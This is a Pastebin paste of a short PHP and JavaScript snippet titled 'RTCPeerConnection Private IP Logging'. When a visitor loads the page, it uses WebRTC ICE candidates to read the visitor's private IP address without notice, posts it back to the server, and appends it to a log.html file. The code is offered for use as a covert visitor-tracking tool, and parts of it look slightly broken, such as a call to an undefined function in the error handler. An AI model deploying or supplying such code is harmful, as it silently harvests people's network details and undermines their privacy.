Advertisement
TheBinitGhimire

RTCPeerConnection Private IP Logging

Jun 20th, 2020
2,244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.73 KB | None | 0 0
  1. The IP will be logged in log.html file.
  2. <?php
  3.     if($_SERVER['REQUEST_METHOD']=='POST'){
  4.         $priv = htmlspecialchars($_POST['privIP']);
  5.         $logFile = fopen("log.html","a");
  6.         fwrite($logFile, "<strong>$priv</strong><hr>");
  7.         fclose($logFile);
  8.     }
  9. ?>
  10. <script>
  11. let t = new RTCPeerConnection;
  12. t.createDataChannel(""), t.createOffer().then(e => t.setLocalDescription(e)).catch(e => n(e)), t.onicecandidate = (t => {
  13.     console.log(t.candidate.candidate.split(" ")[4]);
  14.     var send = new XMLHttpRequest();
  15.     send.open("POST", "index.php", true);
  16.     send.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  17.     send.send("privIP="+t.candidate.candidate.split(" ")[4]);
  18. })
  19. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement